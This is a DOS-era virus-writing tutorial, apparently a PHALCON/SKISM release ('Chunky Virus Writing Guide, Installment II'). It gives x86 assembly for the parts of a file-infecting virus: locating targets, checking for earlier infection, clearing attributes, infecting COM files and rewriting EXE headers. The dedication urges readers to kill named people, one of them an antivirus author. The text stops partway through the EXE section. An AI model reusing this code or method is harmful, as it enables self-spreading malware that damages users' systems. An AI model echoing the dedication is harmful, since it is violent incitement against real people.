597 lines
29 KiB
Plaintext
597 lines
29 KiB
Plaintext
|
//==// // // /|| // //==== //==// //| //
|
|||
|
// // // // //|| // // // // //|| //
|
|||
|
//==// //==// //=|| // // // // // || //
|
|||
|
// // // // || // // // // // ||//
|
|||
|
// // // // || //==== //==== //==// // ||/
|
|||
|
|
|||
|
/==== // // // /==== /| /|
|
|||
|
// // // // // //| //|
|
|||
|
===\ // // // ===\ //|| //||
|
|||
|
// // \\ // // // ||// ||
|
|||
|
====/ // \\ // ====/ // ||/ ||
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
DISCLAIMER: Pretend you see a disclaimer here.
|
|||
|
99.44% of the code guaranteed to work.
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
DEDICATION: Please try your best to kill those
|
|||
|
who made this possible, especially that dumb
|
|||
|
bitch who doesn't know her own name (Patty),
|
|||
|
and her lover Ross M. Greenberg.
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
GREETS -N- STUFF: Greets go to all the members
|
|||
|
of PHALCON/SKISM. I wish to give buckets o'
|
|||
|
thanks to Hellraiser, Garbageheap, and Demo-
|
|||
|
gorgon. No thanks this time to Orion Rouge,
|
|||
|
the godly master of idiocy.
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
Dark Angel's Chunky Virus Writing Guide
|
|||
|
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
INSTALLMENT II: THE REPLICATOR
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
In the last installment of my Virus Writing Guide, I explained the various
|
|||
|
parts of a virus and went into a brief discussion about each. In this
|
|||
|
issue, I shall devote all my attention towards the replicator portion of
|
|||
|
the virus. I promised code and code I shall present.
|
|||
|
|
|||
|
However, I shall digress for a moment because it has come to my attention
|
|||
|
that some mutant copies of the first installment were inadvertently
|
|||
|
released. These copies did not contain a vital section concerning the
|
|||
|
calculation of offsets.
|
|||
|
|
|||
|
You never know where your variables and code are going to wind up in
|
|||
|
memory. If you think a bit, this should be pretty obvious. Since you are
|
|||
|
attaching the virus to the end of a program, the location in memory is
|
|||
|
going to be changed, i.e. it will be larger by the size of the infected
|
|||
|
program. So, to compensate, we must take the change in offset from the
|
|||
|
original virus, or the delta offset, and add that to all references to
|
|||
|
variables.
|
|||
|
|
|||
|
Instructions that use displacement, i.e. relative offsets, need not be
|
|||
|
changed. These instructions are the JA, JB, JZ class of instructions, JMP
|
|||
|
SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of,
|
|||
|
say, JMP FAR PTR.
|
|||
|
|
|||
|
Suppose in the following examples, si is somehow loaded with the delta
|
|||
|
offset.
|
|||
|
|
|||
|
Replace
|
|||
|
mov ax, counter
|
|||
|
With
|
|||
|
mov ax, word ptr [si+offset counter]
|
|||
|
|
|||
|
Replace
|
|||
|
mov dx, offset message
|
|||
|
With
|
|||
|
lea dx, [si+offset message]
|
|||
|
|
|||
|
You may be asking, "how the farg am I supposed to find the delta offset!?"
|
|||
|
It is simple enough:
|
|||
|
|
|||
|
call setup
|
|||
|
setup:
|
|||
|
pop si
|
|||
|
sub si, offset setup
|
|||
|
|
|||
|
An explanation of the above fragment is in order. CALL setup pushes the
|
|||
|
location of the next instruction, i.e. offset setup, onto the stack. Next,
|
|||
|
this location is POPed into si. Finally, the ORIGINAL offset of setup
|
|||
|
(calculated at compile-time) is subtracted from si, giving you the delta
|
|||
|
offset. In the original virus, the delta offset will be 0, i.e. the new
|
|||
|
location of setup equals the old location of setup.
|
|||
|
|
|||
|
It is often preferable to use bp as your delta offset, since si is used in
|
|||
|
string instructions. Use whichever you like. I'll randomly switch between
|
|||
|
the two as suits my mood.
|
|||
|
|
|||
|
Now back to the other stuff...
|
|||
|
|
|||
|
A biological virus is a parasitic "organism" which uses its host to spread
|
|||
|
itself. It must keep the host alive to keep itself "alive." Only when it
|
|||
|
has spread everywhere will the host die a painful, horrible death. The
|
|||
|
modern electronic virus is no different. It attaches itself to a host
|
|||
|
system and reproduces until the entire system is fucked. It then proceeds
|
|||
|
and neatly wrecks the system of the dimwit who caught the virus.
|
|||
|
|
|||
|
Replication is what distinguishes a virus from a simple trojan. Anybody
|
|||
|
can write a trojan, but a virus is much more elegant. It acts almost
|
|||
|
invisibly, and catches the victim off-guard when it finally surfaces. The
|
|||
|
first question is, of course, how does a virus spread? Both COM and EXE
|
|||
|
infections (along with sample infection routines) shall be presented.
|
|||
|
|
|||
|
There are two major approaches to virii: runtime and TSR. Runtime virii
|
|||
|
infect, yup, you guessed it, when the infected program is run, while TSR
|
|||
|
virii go resident when the infected programs are run and hook the
|
|||
|
interrupts and infect when a file is run, open, closed, and/or upon
|
|||
|
termination (i.e. INT 20h, INT 21h/41h). There are advantages and
|
|||
|
disadvantages to each. Runtime virii are harder to detect as they don't
|
|||
|
show up on memory maps, but, on the other hand, the delay while it searches
|
|||
|
for and infects a file may give it away. TSR virii, if not properly done,
|
|||
|
can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in
|
|||
|
general, smaller since they don't need a function to search for files to
|
|||
|
infect. They are also faster than runtime virii, also because they don't
|
|||
|
have to search for files to infect. I shall cover runtime virii here, and
|
|||
|
TSR virii in a later installment.
|
|||
|
|
|||
|
Here is a summary of the infection procedure:
|
|||
|
1) Find a file to infect.
|
|||
|
2) Check if it meets the infection criteria.
|
|||
|
3) See if it is already infected and if so, go back to 1.
|
|||
|
4) Otherwise, infect the file.
|
|||
|
5) Cover your tracks.
|
|||
|
|
|||
|
I shall go through each of these steps and present sample code for each.
|
|||
|
Note that although a complete virus can be built from the information
|
|||
|
below, you cannot merely rip the code out and stick it together, as the
|
|||
|
fragments are from various different virii that I have written. You must
|
|||
|
be somewhat familiar with assembly. I present code fragments; it is up to
|
|||
|
you to either use them as examples or modify them for your own virii.
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
STEP 1 - FIND A FILE TO INFECT
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Before you can infect a file, you have to find it first! This can be a
|
|||
|
bottleneck in the performance of the virus, so it should be done as
|
|||
|
efficiently as possible. For runtime virii, there are a few possibilities.
|
|||
|
You could infect files in only the current directory, or you could write a
|
|||
|
directory traversal function to infect files in ALL directories (only a few
|
|||
|
files per run, of course), or you could infect files in only a few select
|
|||
|
directories. Why would you choose to only infect files in the current
|
|||
|
directory? It would appear to limit the efficacy of the infections.
|
|||
|
However, this is done in some virii either to speed up the virus or to
|
|||
|
shorten the code size.
|
|||
|
|
|||
|
Here is a directory traversal function. It uses recursion, so it is rather
|
|||
|
slow, but it does the job. This was excerpted with some modifications from
|
|||
|
The Funky Bob Ross Virus [Beta].
|
|||
|
|
|||
|
traverse_fcn proc near
|
|||
|
push bp ; Create stack frame
|
|||
|
mov bp,sp
|
|||
|
sub sp,44 ; Allocate space for DTA
|
|||
|
|
|||
|
call infect_directory ; Go to search & destroy routines
|
|||
|
|
|||
|
mov ah,1Ah ;Set DTA
|
|||
|
lea dx,word ptr [bp-44] ; to space allotted
|
|||
|
int 21h ;Do it now!
|
|||
|
|
|||
|
mov ah, 4Eh ;Find first
|
|||
|
mov cx,16 ;Directory mask
|
|||
|
lea dx,[si+offset dir_mask] ; *.*
|
|||
|
int 21h
|
|||
|
jmp short isdirok
|
|||
|
gonow:
|
|||
|
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
|
|||
|
je short donext ; If so, loop again
|
|||
|
lea dx,word ptr [bp-14] ; else load dirname
|
|||
|
mov ah,3Bh ; and changedir there
|
|||
|
int 21h
|
|||
|
jc short donext ; Do next if invalid
|
|||
|
inc word ptr [si+offset nest] ; nest++
|
|||
|
call near ptr traverse_fcn ; recurse directory
|
|||
|
donext:
|
|||
|
lea dx,word ptr [bp-44] ; Load space allocated for DTA
|
|||
|
mov ah,1Ah ; and set DTA to this new area
|
|||
|
int 21h ; 'cause it might have changed
|
|||
|
|
|||
|
mov ah,4Fh ;Find next
|
|||
|
int 21h
|
|||
|
isdirok:
|
|||
|
jnc gonow ; If OK, jmp elsewhere
|
|||
|
cmp word ptr [si+offset nest], 0 ; If root directory
|
|||
|
; (nest == 0)
|
|||
|
jle short cleanup ; then Quit
|
|||
|
dec word ptr [si+offset nest] ; Else decrement nest
|
|||
|
lea dx, [si+offset back_dir]; '..'
|
|||
|
mov ah,3Bh ; Change directory
|
|||
|
int 21h ; to previous one
|
|||
|
cleanup:
|
|||
|
mov sp,bp
|
|||
|
pop bp
|
|||
|
ret
|
|||
|
traverse_fcn endp
|
|||
|
|
|||
|
; Variables
|
|||
|
nest dw 0
|
|||
|
back_dir db '..',0
|
|||
|
dir_mask db '*.*',0
|
|||
|
|
|||
|
The code is self-explanatory. Make sure you have a function called
|
|||
|
infect_directory which scans the directory for possible files to infect and
|
|||
|
makes sure it doesn't infect already-infected files. This function, in
|
|||
|
turn, calls infect_file which infects the file.
|
|||
|
|
|||
|
Note, as I said before, this is slow. A quicker method, albeit not as
|
|||
|
global, is the "dot dot" method. Hellraiser showed me this neat little
|
|||
|
trick. Basically, you keep searching each directory and, if you haven't
|
|||
|
infected enough, go to the previous directory (dot dot) and try again, and
|
|||
|
so on. The code is simple.
|
|||
|
|
|||
|
dir_loopy:
|
|||
|
call infect_directory
|
|||
|
lea dx, [bp+dotdot]
|
|||
|
mov ah, 3bh ; CHDIR
|
|||
|
int 21h
|
|||
|
jnc dir_loopy ; Carry set if in root
|
|||
|
|
|||
|
; Variables
|
|||
|
dotdot db '..',0
|
|||
|
|
|||
|
Now you must find a file to infect. This is done (in the fragments above)
|
|||
|
by a function called infect_directory. This function calls FINDFIRST and
|
|||
|
FINDNEXT a couple of times to find files to infect. You should first set
|
|||
|
up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that
|
|||
|
will affect the command-line parameters of the infected program when
|
|||
|
control is returned to it. This is easily done with the following:
|
|||
|
|
|||
|
mov ah, 1Ah ; Set DTA
|
|||
|
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
|
|||
|
int 21h
|
|||
|
|
|||
|
Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST
|
|||
|
and FINDNEXT calls:
|
|||
|
|
|||
|
mov ah, 4Eh ; Find first file
|
|||
|
mov cx, 0007h ; Any file attribute
|
|||
|
lea dx, [bp+offset file_mask]; DS:[DX] --> filemask
|
|||
|
int 21h
|
|||
|
jc none_found
|
|||
|
found_another:
|
|||
|
call check_infection
|
|||
|
mov ah, 4Fh ; Find next file
|
|||
|
int 21h
|
|||
|
jnc found_another
|
|||
|
none_found:
|
|||
|
|
|||
|
Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively,
|
|||
|
you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
STEP 2 - CHECK VERSUS INFECTION CRITERIA
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Your virus should be judicious in its infection. For example, you might
|
|||
|
not want to infect COMMAND.COM, since some programs (i.e. the puny
|
|||
|
FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to
|
|||
|
infect the first valid file in the directory. Ambulance Car is an example
|
|||
|
of such a virus. Regardless, if there is some infection criteria, you
|
|||
|
should check for it now. Here's example code checking if the last two
|
|||
|
letters are 'ND', a simple check for COMMAND.COM:
|
|||
|
|
|||
|
cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
|
|||
|
jz fail_check
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
STEP 3 - CHECK FOR PREVIOUS INFECTION
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Every virus has certain characteristics with which you can identify whether
|
|||
|
a file is infected already. For example, a certain piece of code may
|
|||
|
always occur in a predictable place. Or perhaps the JMP instruction is
|
|||
|
always coded in the same manner. Regardless, you should make sure your
|
|||
|
virus has a marker so that multiple infections of the same file do not
|
|||
|
occur. Here's an example of one such check (for a COM file infector):
|
|||
|
|
|||
|
mov ah,3Fh ; Read first three
|
|||
|
mov cx, 3 ; bytes of the file
|
|||
|
lea dx, [bp+offset buffer] ; to the buffer
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4202h ; SEEK from EOF
|
|||
|
xor cx, cx ; DX:CX = offset
|
|||
|
xor dx, dx ; Returns filesize
|
|||
|
int 21h ; in DX:AX
|
|||
|
|
|||
|
sub ax, virus_size + 3
|
|||
|
cmp word ptr [bp+offset buffer+1], ax
|
|||
|
jnz infect_it
|
|||
|
|
|||
|
bomb_out:
|
|||
|
mov ah, 3Eh ; else close the file
|
|||
|
int 21h ; and go find another
|
|||
|
|
|||
|
In this example, BX is assumed to hold a file handle to the program to be
|
|||
|
checked for infection and virus_size equals the size of the virus. Buffer
|
|||
|
is assumed to be a three-byte area of empty space. This code fragment
|
|||
|
reads the first three bytes into buffer and then compares the JMP location
|
|||
|
(located in the word beginning at buffer+1) to the filesize If the JMP
|
|||
|
points to virus_size bytes before the EOF, then the file is already
|
|||
|
infected with this virus. Another method would be to search at a certain
|
|||
|
location in the file for a marker byte or word. For example:
|
|||
|
|
|||
|
mov ah, 3Fh ; Read the first four
|
|||
|
mov cx, 4 ; bytes of the file into
|
|||
|
lea dx, [bp+offset buffer] ; the buffer.
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
|
|||
|
jz bomb_out ; byte for the marker
|
|||
|
infect_it:
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
STEP 4 - INFECT THE FILE
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
This is the "guts" of the virus, the heart of the replicator. Once you
|
|||
|
have located a potential file, you must save the attributes, time, date,
|
|||
|
and size for later use. The following is a breakdown of the DTA:
|
|||
|
|
|||
|
Offset Size What it is
|
|||
|
0h 21 BYTES Reserved, varies as per DOS version
|
|||
|
15h BYTE File attribute
|
|||
|
16h WORD File time
|
|||
|
18h WORD File date
|
|||
|
1Ah DWORD File size
|
|||
|
1Eh 13 BYTES ASCIIZ filename + extension
|
|||
|
|
|||
|
As you can see, the DTA holds all the vital information about the file that
|
|||
|
you need. The following code fragment is a sample of how to save the info:
|
|||
|
|
|||
|
lea si, [bp+offset DTA+15h] ; Start from attributes
|
|||
|
mov cx, 9 ; Finish with size
|
|||
|
lea di, [bp+offset f_attr] ; Move into your locations
|
|||
|
rep movsb
|
|||
|
; Variables needed
|
|||
|
f_attr db ?
|
|||
|
f_time dw ?
|
|||
|
f_date dw ?
|
|||
|
f_size dd ?
|
|||
|
|
|||
|
You can now change the file attributes to nothing through INT 21h/Function
|
|||
|
43h/Subfunction 01h. This is to allow infection of system, hidden, and
|
|||
|
read only files. Only primitive (or minimal) virii cannot handle such
|
|||
|
files.
|
|||
|
|
|||
|
lea dx, [bp+offset DTA+1eh] ; DX points to filename in
|
|||
|
mov ax, 4301h ; DTA
|
|||
|
xor cx, cx ; Clear file attributes
|
|||
|
int 21h ; Issue the call
|
|||
|
|
|||
|
Once the attributes have been annihilated, you may open the file with
|
|||
|
callous impunity. Use a handle open in read/write mode.
|
|||
|
|
|||
|
lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
|
|||
|
mov ax, 3d02h ; Open read/write mode
|
|||
|
int 21h ; duh.
|
|||
|
xchg ax, bx ; Handle is more useful in
|
|||
|
; BX
|
|||
|
|
|||
|
Now we come to the part you've all been waiting for: the infection routine.
|
|||
|
I am pleased to present code which will handle the infection of COM files.
|
|||
|
Yawn, you say, I can already do that with the information presented in the
|
|||
|
previous installment. Ah, but there is more, much more. A sample EXE
|
|||
|
infector shall also be presented shortly.
|
|||
|
|
|||
|
The theory behind COM file infection was covered in the last installment,
|
|||
|
so I shall not delve into the details again. Here is a sample infector:
|
|||
|
|
|||
|
; Sample COM infector. Assumes BX holds the file handle
|
|||
|
; Assume COM file passes infection criteria and not already infected
|
|||
|
mov ah, 3fh
|
|||
|
lea dx, [bp+buffer1]
|
|||
|
mov cx, 3
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4200h ; Move file pointer to
|
|||
|
xor cx, cx ; the beginning of the
|
|||
|
xor dx, dx ; file
|
|||
|
int 21h
|
|||
|
|
|||
|
mov byte ptr [bp+buffer2], 0e9h ; JMP
|
|||
|
mov ax, word ptr [bp+f_size]
|
|||
|
sub ax, part1_size ; Usually 3
|
|||
|
mov word ptr [bp+buffer2+1], ax ; offset of JMP
|
|||
|
|
|||
|
; Encode JMP instruction to replace beginning of the file
|
|||
|
mov byte ptr [bp+buffer2], 0e9h ; JMP
|
|||
|
mov ax, word ptr [bp+f_size]
|
|||
|
sub ax, part1_size ; Usually 3
|
|||
|
mov word ptr [bp+buffer2+1], ax ; offset of JMP
|
|||
|
|
|||
|
; Write the JMP instruction to the beginning of the file
|
|||
|
mov ah, 40h ; Write CX bytes to
|
|||
|
mov cx, 3 ; handle in BX from
|
|||
|
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4202h ; Move file pointer to
|
|||
|
xor cx, cx ; end of file
|
|||
|
xor dx, dx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 40h ; Write CX bytes
|
|||
|
mov cx, endofvirus - startofpart2 ; Effective size of virus
|
|||
|
lea dx, [bp+startofpart2] ; Begin write at start
|
|||
|
int 21h
|
|||
|
|
|||
|
; Variables
|
|||
|
buffer1 db 3 dup (?) ; Saved bytes from the
|
|||
|
; infected file to restore
|
|||
|
; later
|
|||
|
buffer2 db 3 dup (?) ; Temp buffer
|
|||
|
|
|||
|
After some examination, this code will prove to be easy to understand. It
|
|||
|
starts by reading the first three bytes into a buffer. Note that you could
|
|||
|
have done this in an earlier step, such as when you are checking for a
|
|||
|
previous infection. If you have already done this, you obviously don't
|
|||
|
need to do it again. This buffer must be stored in the virus so it can be
|
|||
|
restored later when the code is executed.
|
|||
|
|
|||
|
EXE infections are also simple, although a bit harder to understand.
|
|||
|
First, the thoery. Here is the format of the EXE header:
|
|||
|
|
|||
|
Ofs Name Size Comments
|
|||
|
00 Signature 2 bytes always 4Dh 5Ah (MZ)
|
|||
|
*02 Last Page Size 1 word number of bytes in last page
|
|||
|
*04 File Pages 1 word number of 512 byte pages
|
|||
|
06 Reloc Items 1 word number of entries in table
|
|||
|
08 Header Paras 1 word size of header in 16 byte paras
|
|||
|
0A MinAlloc 1 word minimum memory required in paras
|
|||
|
0C MaxAlloc 1 word maximum memory wanted in paras
|
|||
|
*0E PreReloc SS 1 word offset in paras to stack segment
|
|||
|
*10 Initial SP 1 word starting SP value
|
|||
|
12 Negative checksum 1 word currently ignored
|
|||
|
*14 Pre Reloc IP 1 word execution start address
|
|||
|
*16 Pre Reloc CS 1 word preadjusted start segment
|
|||
|
18 Reloc table offset 1 word is offset from start of file)
|
|||
|
1A Overlay number 1 word ignored if not overlay
|
|||
|
1C Reserved/unused 2 words
|
|||
|
* denotes bytes which should be changed by the virus
|
|||
|
|
|||
|
To understand this, you must first realise that EXE files are structured
|
|||
|
into segments. These segments may begin and end anywhere. All you have to
|
|||
|
do to infect an EXE file is tack on your code to the end. It will then be
|
|||
|
in its own segment. Now all you have to do is make the virus code execute
|
|||
|
before the program code. Unlike COM infections, no program code is
|
|||
|
overwritten, although the header is modified. Note the virus can still
|
|||
|
have the V1/V2 structure, but only V2 needs to be concatenated to the end
|
|||
|
of the infected EXE file.
|
|||
|
|
|||
|
Offset 4 (File Pages) holds the size of the file divided by 512, rounded
|
|||
|
up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the
|
|||
|
paragraph displacement (relative to the end of the header) of the initial
|
|||
|
stack segment and Offset 10h holds the displacement (relative to the start
|
|||
|
of the stack segment) of the initial stack pointer. Offset 16h holds the
|
|||
|
paragraph displacement of the entry point relative to the end of the header
|
|||
|
and offset 14h holds the displacement entry point relative to the start of
|
|||
|
the entry segment. Offset 14h and 16h are the key to adding the startup
|
|||
|
code (the virus) to the file.
|
|||
|
|
|||
|
Before you infect the file, you should save the CS:IP and SS:SP found in
|
|||
|
the EXE header, as you need to restore them upon execution. Note that
|
|||
|
SS:SP is NOT stored in Intel reverse-double-word format. If you don't know
|
|||
|
what I'm talking about, don't worry; it's only for very picky people. You
|
|||
|
should also save the file length as you will need to use that value several
|
|||
|
times during the infection routine. Now it's time to calculate some
|
|||
|
offsets! To find the new CS:IP and SS:SP, use the following code. It
|
|||
|
assumes the file size is loaded in DX:AX.
|
|||
|
|
|||
|
mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs
|
|||
|
; ^---make sure you don't destroy the file handle
|
|||
|
mov cl, 4 ; Multiply by 16. Won't
|
|||
|
shl bx, cl ; work with headers > 4096
|
|||
|
; bytes. Oh well!
|
|||
|
sub ax, bx ; Subtract header size from
|
|||
|
sbb dx, 0 ; file size
|
|||
|
; Now DX:AX is loaded with file size minus header size
|
|||
|
mov cx, 10h ; DX:AX/CX = AX Remainder DX
|
|||
|
div cx
|
|||
|
|
|||
|
This code is rather inefficient. It would probably be easier to divide by
|
|||
|
16 first and then perform a straight subtraction from AX, but this happens
|
|||
|
to be the code I chose. Such is life. However, this code does have some
|
|||
|
advantages over the more efficient one. With this, you are certain that
|
|||
|
the IP (in DX) will be under 15. This allows the stack to be in the same
|
|||
|
segment as the entry point, as long as the stack pointer is a large number.
|
|||
|
|
|||
|
Now AX*16+DX points to the end of code. If the virus begins immediately
|
|||
|
after the end of the code, AX and DX can be used as the initial CS and IP,
|
|||
|
respectively. However, if the virus has some junk (code or data) before
|
|||
|
the entry point, add the entry point displacement to DX (no ADC with AX is
|
|||
|
necessary since DX will always be small).
|
|||
|
|
|||
|
mov word ptr [bp+ExeHead+14h], dx ; IP Offset
|
|||
|
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module
|
|||
|
|
|||
|
The SP and SS can now be calculated. The SS is equal to the CS. The
|
|||
|
actual value of the SP is irrelevant, as long as it is large enough so the
|
|||
|
stack will not overwrite code (remember: the stack grows downwards). As a
|
|||
|
general rule, make sure the SP is at least 100 bytes larger than the virus
|
|||
|
size. This should be sufficient to avoid problems.
|
|||
|
|
|||
|
mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
|
|||
|
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
|
|||
|
|
|||
|
All that is left to fiddle in the header is the file size. Restore the
|
|||
|
original file size from wherever you saved it to DX:AX. To calculate
|
|||
|
DX:AX/512 and DX:AX MOD 512, use the following code:
|
|||
|
|
|||
|
mov cl, 9 ; Use shifts again for
|
|||
|
ror dx, cl ; division
|
|||
|
push ax ; Need to use AX again
|
|||
|
shr ax, cl
|
|||
|
adc dx, ax ; pages in dx
|
|||
|
pop ax
|
|||
|
and ah, 1 ; mod 512 in ax
|
|||
|
|
|||
|
mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
|
|||
|
mov word ptr [bp+ExeHead+2], ax ; the EXE header.
|
|||
|
